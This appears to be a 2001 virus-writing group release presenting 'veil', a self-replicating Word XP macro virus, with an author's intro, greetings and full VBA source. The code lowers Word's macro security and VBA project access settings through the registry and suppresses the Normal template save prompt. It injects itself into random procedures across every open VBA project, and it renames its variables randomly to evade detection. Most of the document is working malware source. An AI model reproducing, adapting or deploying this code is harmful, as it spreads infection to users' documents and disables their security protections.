
.wxp/veil
 (c) 2001 jackie


 hi there kids, it's me again. since i've released the paper about the epo tech
 approach,  i've always been thinking about coding a virus that uses epo stuff.
 well, here we go.  some weeks after the epo paper  i coded this one to combine
 some stuff and ideas. this virus, let's call it 'veil' this time, has some rad
 features like:

  . parasitic behaviour, using epo technics
    to infect everything in a unique way.
  . able to infect every sub or function within
    a module, a class or a form.
  . uses jackie's advanced poly to apply for
    a bit of polymorphism.
  . some antiheuristic stuff.

 the only thing that will be a scan string is the string of the payload msg but
 as always,  this is a just a proof of concept and not some monster that should
 go itw. to make a long story short,  if you want to know more about how 'veil'
 works, just read my tutorial about epo. enjoy this piece of cake.


  i'm a loser babie,
   jackie
 
                                            carinthia/austria/europe 16/11/2001


 some humble greets fly out to:

 . honey     : luv ya so mad.
 . heXc      : a friend with weed is a friend indeed. xD=
 . antistate : all your office are belong to us. xD=
 . xaitax    : whut whut?
 . joda      : smoking and working huh?
 . mdrg      : el presidente!
 . alphee    : see you at the next chillout party.
 . marpheus  : ya too. xD=
 . jounes    : thanks for the song.

 . all y'all : sorry if i forgot someone, you know me, bad memory, ehehe.


---[snip]---

Private Sub Document_Close()
varStart = 3: varEnd = 27
On Error Resume Next: Randomize
CallByName System, "privateprofilestring", 4, "", StrReverse("ytiruceS\droW\0.01\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH"), StrReverse("leveL"), 1&
CallByName System, "privateprofilestring", 4, "", StrReverse("ytiruceS\droW\0.01\eciffO\tfosorciM\erawtfoS\RESU_TNERRUC_YEKH"), StrReverse("MOBVsseccA"), 1&
CallByName Options, "savenormalprompt", 4, False
varCode = CallByName(VBE.ActiveCodePane.CodeModule, "lines", 2, varStart, varEnd)
For Each varProj In VBE.VBprojects
For Each varComp In varProj.vbcomponents
varLine = varComp.CodeModule.Lines(1, varComp.CodeModule.countoflines)
varLine = CallByName(varComp.CodeModule, "lines", 2, 1, CallByName(varComp.CodeModule, "countoflines", 2))
If Len(varLine) Then
If InStr(1, varLine, "wxp/veil") = 0 Then
varLine = varComp.CodeModule.procbodyline(varComp.CodeModule.procofline(Int(Rnd * (varComp.CodeModule.countoflines - 1)) + 1, 0), 0)
Do: varCount = varCount + 1: Loop Until InStr(1, varComp.CodeModule.Lines(varLine + varCount, 1), StrReverse(" dnE"))
varRnd = Int(Rnd * (varCount)) + varLine + 1: varCount = 0
varNCode = "varStart = " & varRnd + 1 & ": varEnd = 27" & vbCrLf & varCode
For Each varJap In Split(StrReverse("weNrav pooLrav paJrav dnRrav tnuoCrav eniLrav pmoCrav jorPrav edoCNrav edoCrav dnErav tratSrav"), " ")
For varLoop = 1 To Int(Rnd * 7) + 3: varNew = varNew + Chr((Int(Rnd * 70) + 130)): Next
varNCode = Replace(varNCode, varJap, varNew): varNew = ""
Next
CallByName varComp.CodeModule, "insertlines", 1, varRnd, varNCode
End If
Else
CallByName varComp.CodeModule, "insertlines", 1, 1, StrReverse(")(esolc_tnemucod bus etavirp") & vbCrLf & "varStart = 3: varEnd = 27" & vbCrLf & varCode & vbCrLf & StrReverse("bus dne")
End If
Next: varLine = ""
Next ' jackie
If Day(Now()) Like "*7*" Then MsgBox "sometimes i don't have a clue about our future..." & vbCr & "it's like outlines of hills and trees behind a rain veil.", 0, "strange days."
End Sub
' wxp/veil
' slip into something more comfortable...
' (c) jackie

---[snip]---

 note: just works with vba6.x and designed to infect wxp only. xD=


 yet another tantrum production (c) 2001